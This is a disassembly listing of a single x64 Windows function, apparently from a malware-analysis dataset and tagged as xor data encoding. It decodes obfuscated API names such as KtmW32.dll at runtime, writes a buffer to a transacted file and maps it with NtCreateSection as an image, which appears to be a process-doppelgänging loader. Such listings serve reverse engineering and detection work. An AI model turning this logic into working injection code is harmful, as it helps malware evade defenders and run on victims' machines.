Function at 0x2b368b390
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x188
mov esi, 0x6d
movdqa xmm0, xmmword [str.Bqd_sdSq_mr_bshn]
movabs rax, 0x7153647360647142
mov r11d, 0x6d
mov r13d, 0xffff9393
mov r12d, 0xffff9393
mov r15, rdx
mov r14, rcx
mov ebx, r8d
movabs rdx, 0x6e68736260726d60
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x168], rdx
mov word [rsp + 0x170], si
movzx eax, byte [rsp + 0x160]
mov word [rsp + 0x110], r11w
add eax, 1
movaps xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
add eax, 1
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
add eax, 1
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
add eax, 1
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
add eax, 1
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
add eax, 1
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
add eax, 1
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
add eax, 1
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
add eax, 1
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
add eax, 1
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
add eax, 1
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
add eax, 1
mov byte [rsp + 0x16b], al
movzx eax, byte [rsp + 0x16c]
add eax, 1
mov byte [rsp + 0x16c], al
movzx eax, byte [rsp + 0x16d]
mov word [rsp + 0x80], r12w
add eax, 1
mov byte [rsp + 0x82], 0
mov byte [rsp + 0x16d], al
movzx eax, byte [rsp + 0x16e]
add eax, 1
mov byte [rsp + 0x16e], al
movzx eax, byte [rsp + 0x16f]
add eax, 1
mov byte [rsp + 0x16f], al
movzx eax, byte [rsp + 0x170]
add eax, 1
mov byte [rsp + 0x170], al
mov rax, qword [0x2b374e8c0]
mov qword [rsp + 0x78], rax
movabs rax, 0x9bd1cdcca8928bb4
mov qword [rsp + 0x140], rax
mov word [rsp + 0x148], r13w
lea r13, [rsp + 0x160]
mov byte [rsp + 0x14a], 0
movzx eax, byte [rsp + 0x140]
mov rdx, r13
not eax
mov byte [rsp + 0x140], al
movzx eax, byte [rsp + 0x141]
not eax
mov byte [rsp + 0x141], al
movzx eax, byte [rsp + 0x142]
not eax
mov byte [rsp + 0x142], al
movzx eax, byte [rsp + 0x143]
not eax
mov byte [rsp + 0x143], al
movzx eax, byte [rsp + 0x144]
not eax
mov byte [rsp + 0x144], al
movzx eax, byte [rsp + 0x145]
not eax
mov byte [rsp + 0x145], al
movzx eax, byte [rsp + 0x146]
not eax
mov byte [rsp + 0x146], al
movzx eax, byte [rsp + 0x147]
not eax
mov byte [rsp + 0x147], al
movzx eax, byte [rsp + 0x148]
not eax
mov byte [rsp + 0x148], al
movzx eax, byte [rsp + 0x149]
not eax
mov byte [rsp + 0x149], al
call fcn.2b3656120
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x2b368bae0
movabs rax, 0x93bc9f8e9b9f88b9
mov r9d, 0xad
movabs rdx, 0x9b89949b88ae9f96
mov r10d, 0xad
mov qword [rsp + 0x160], rax
xor eax, eax
movdqa xmm0, xmmword [0x2b374e8d0]
mov qword [rsp + 0x168], rdx
mov dword [rsp + 0x150], 0x9e9f8e99
mov dword [rsp + 0x170], 0x9e9f8e99
mov word [rsp + 0x154], r9w
mov word [rsp + 0x174], r10w
movaps xmmword [rsp + 0x140], xmm0
nop word cs:[rax + rax]
movzx edx, byte [rsp + rax + 0x160]
xor edx, 0xfffffffa
mov byte [rsp + rax + 0x160], dl
add rax, 1
cmp rax, 0x15
jne 0x2b368b6e0
mov rax, qword [0x2b374e8e0]
mov rdx, r13
lea rsi, [rsp + 0x120]
mov dword [rsp + 0xc8], 0x94949cd6
mov rcx, rsi
mov byte [rsp + 0xcc], 0
mov qword [rsp + 0xc0], rax
movabs rax, 0xcacb949d968a9d93
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x128], 0x94949cd6
mov byte [rsp + 0x12c], 0
movzx eax, byte [rsp + 0x120]
xor eax, 0xfffffff8
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0x121]
xor eax, 0xfffffff8
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x122]
xor eax, 0xfffffff8
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x123]
xor eax, 0xfffffff8
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x124]
xor eax, 0xfffffff8
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0x125]
xor eax, 0xfffffff8
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
xor eax, 0xfffffff8
mov byte [rsp + 0x126], al
movzx eax, byte [rsp + 0x127]
xor eax, 0xfffffff8
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
xor eax, 0xfffffff8
mov byte [rsp + 0x128], al
movzx eax, byte [rsp + 0x129]
xor eax, 0xfffffff8
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x12a]
xor eax, 0xfffffff8
mov byte [rsp + 0x12a], al
movzx eax, byte [rsp + 0x12b]
xor eax, 0xfffffff8
mov byte [rsp + 0x12b], al
call fcn.2b3656120
mov rcx, r14
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r8d, r8d
mov edx, 0xc0000000
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 2
call rax
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x2b368bae0
mov rax, qword [0x2b374e8e8]
mov ecx, 0x9c
mov r8d, 0x9c
mov dword [rsp + 0x5c], 0
mov word [rsp + 0x70], cx
mov rdx, rsi
mov rcx, r13
mov qword [rsp + 0x68], rax
movabs rax, 0x9590bf9c8d908bae
mov qword [rsp + 0x120], rax
mov word [rsp + 0x128], r8w
movzx eax, byte [rsp + 0x120]
mov dword [rsp + 0xd8], 0x919199d3
xor eax, 0xfffffff9
mov byte [rsp + 0xdc], 0
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0x121]
xor eax, 0xfffffff9
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x122]
xor eax, 0xfffffff9
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x123]
xor eax, 0xfffffff9
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x124]
xor eax, 0xfffffff9
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0x125]
xor eax, 0xfffffff9
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
xor eax, 0xfffffff9
mov byte [rsp + 0x126], al
movzx eax, byte [rsp + 0x127]
xor eax, 0xfffffff9
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
xor eax, 0xfffffff9
mov byte [rsp + 0x128], al
mov rax, qword [0x2b374e8f0]
mov qword [rsp + 0xd0], rax
movabs rax, 0xcfce9198938f9896
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x168], 0x919199d3
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
xor eax, 0xfffffffd
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
xor eax, 0xfffffffd
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
xor eax, 0xfffffffd
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
xor eax, 0xfffffffd
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
xor eax, 0xfffffffd
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
xor eax, 0xfffffffd
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
xor eax, 0xfffffffd
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
xor eax, 0xfffffffd
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
xor eax, 0xfffffffd
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
xor eax, 0xfffffffd
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
xor eax, 0xfffffffd
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
xor eax, 0xfffffffd
mov byte [rsp + 0x16b], al
call fcn.2b3656120
lea r9, [rsp + 0x5c]
mov r8d, ebx
mov rdx, r15
mov qword [rsp + 0x20], 0
mov rcx, r14
call rax
test eax, eax
je 0x2b368bae0
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], 0
mov edx, 0xf001f
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x2b368baf9
nop dword [rax + rax]
mov rax, 0xffffffffffffffff
add rsp, 0x188
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movabs rax, 0x6d604764726e6b42
mov rdx, rsi
mov r15, qword [str.BknrdG_me_lh_f__]
mov rbx, qword [0x2b374e900]
mov qword [rsp + 0x120], rax
mov rcx, r13
mov dword [rsp + 0x128], 0x646b63
movzx eax, byte [rsp + 0x120]
mov qword [rsp + 0x98], r15
add eax, 1
mov dword [rsp + 0xa0], 0x646b63
mov byte [rsp + 0x120], al
movzx eax, byte [rsp + 0x121]
mov qword [rsp + 0xe0], rbx
add eax, 1
mov byte [rsp + 0xec], 0
mov byte [rsp + 0x121], al
movzx eax, byte [rsp + 0x122]
mov dword [rsp + 0xe8], 0x66665e28
add eax, 1
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x123]
add eax, 1
mov byte [rsp + 0x123], al
movzx eax, byte [rsp + 0x124]
add eax, 1
mov byte [rsp + 0x124], al
movzx eax, byte [rsp + 0x125]
add eax, 1
mov byte [rsp + 0x125], al
movzx eax, byte [rsp + 0x126]
add eax, 1
mov byte [rsp + 0x126], al
movzx eax, byte [rsp + 0x127]
add eax, 1
mov byte [rsp + 0x127], al
movzx eax, byte [rsp + 0x128]
add eax, 1
mov byte [rsp + 0x128], al
movzx eax, byte [rsp + 0x129]
add eax, 1
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x12a]
add eax, 1
mov byte [rsp + 0x12a], al
movabs rax, 0x2c2d665f686c5f65
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x168], 0x66665e28
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
add eax, 6
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
add eax, 6
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
add eax, 6
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
add eax, 6
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
add eax, 6
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
add eax, 6
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
add eax, 6
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
add eax, 6
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
add eax, 6
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
add eax, 6
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
add eax, 6
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
add eax, 6
mov byte [rsp + 0x16b], al
call fcn.2b3656120
mov rcx, r14
call rax
movdqa xmm0, xmmword [str.Nkhh__gPn_jo__pIrkU10_b]
movabs rax, 0x675f5d5e68686b4e
movabs rdx, 0x705f5d6f6a5d6e50
mov qword [rsp + 0x160], rax
xor eax, eax
mov qword [rsp + 0x168], rdx
mov dword [rsp + 0x130], 0x6a6b65
mov dword [rsp + 0x170], 0x6a6b65
movaps xmmword [rsp + 0x120], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0x160]
add edx, 4
mov byte [rsp + rax + 0x160], dl
add rax, 1
cmp rax, 0x13
jne 0x2b368bd78
mov rax, qword [0x2b374e920]
mov edx, 0x6a6a
lea rcx, [rsp + 0xf0]
mov byte [rsp + 0x92], 0
mov qword [rsp + 0x88], rax
mov eax, 0x6a6a
mov word [rsp + 0x90], ax
movabs rax, 0x622c3031556b7249
mov qword [rsp + 0xf0], rax
mov word [rsp + 0xf8], dx
mov rdx, r13
mov byte [rsp + 0xfa], 0
movzx eax, byte [rsp + 0xf0]
add eax, 2
mov byte [rsp + 0xf0], al
movzx eax, byte [rsp + 0xf1]
add eax, 2
mov byte [rsp + 0xf1], al
movzx eax, byte [rsp + 0xf2]
add eax, 2
mov byte [rsp + 0xf2], al
movzx eax, byte [rsp + 0xf3]
add eax, 2
mov byte [rsp + 0xf3], al
movzx eax, byte [rsp + 0xf4]
add eax, 2
mov byte [rsp + 0xf4], al
movzx eax, byte [rsp + 0xf5]
add eax, 2
mov byte [rsp + 0xf5], al
movzx eax, byte [rsp + 0xf6]
add eax, 2
mov byte [rsp + 0xf6], al
movzx eax, byte [rsp + 0xf7]
add eax, 2
mov byte [rsp + 0xf7], al
movzx eax, byte [rsp + 0xf8]
add eax, 2
mov byte [rsp + 0xf8], al
movzx eax, byte [rsp + 0xf9]
add eax, 2
mov byte [rsp + 0xf9], al
call fcn.2b3656120
mov rcx, r12
call rax
test eax, eax
je 0x2b368bae0
mov qword [rsp + 0xb4], r15
lea rdx, [rsp + 0xb4]
mov rcx, r13
mov dword [rsp + 0xbc], 0x646b63
movzx eax, byte [rsp + 0xb4]
mov qword [rsp + 0xa8], r15
add eax, 1
mov dword [rsp + 0xb0], 0x646b63
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xb5]
mov qword [rsp + 0xf0], rbx
add eax, 1
mov byte [rsp + 0xfc], 0
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb6]
mov dword [rsp + 0xf8], 0x66665e28
add eax, 1
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb7]
add eax, 1
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0xb8]
add eax, 1
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb9]
add eax, 1
mov byte [rsp + 0xb9], al
movzx eax, byte [rsp + 0xba]
add eax, 1
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xbb]
add eax, 1
mov byte [rsp + 0xbb], al
movzx eax, byte [rsp + 0xbc]
add eax, 1
mov byte [rsp + 0xbc], al
movzx eax, byte [rsp + 0xbd]
add eax, 1
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0xbe]
add eax, 1
mov byte [rsp + 0xbe], al
mov qword [rsp + 0x160], rbx
mov dword [rsp + 0x168], 0x66665e28
mov byte [rsp + 0x16c], 0
movzx eax, byte [rsp + 0x160]
add eax, 6
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x161]
add eax, 6
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x162]
add eax, 6
mov byte [rsp + 0x162], al
movzx eax, byte [rsp + 0x163]
add eax, 6
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0x164]
add eax, 6
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x165]
add eax, 6
mov byte [rsp + 0x165], al
movzx eax, byte [rsp + 0x166]
add eax, 6
mov byte [rsp + 0x166], al
movzx eax, byte [rsp + 0x167]
add eax, 6
mov byte [rsp + 0x167], al
movzx eax, byte [rsp + 0x168]
add eax, 6
mov byte [rsp + 0x168], al
movzx eax, byte [rsp + 0x169]
add eax, 6
mov byte [rsp + 0x169], al
movzx eax, byte [rsp + 0x16a]
add eax, 6
mov byte [rsp + 0x16a], al
movzx eax, byte [rsp + 0x16b]
add eax, 6
mov byte [rsp + 0x16b], al
call fcn.2b3656120
mov rcx, r12
call rax
mov rax, qword [rsp + 0x60]
jmp 0x2b368bae7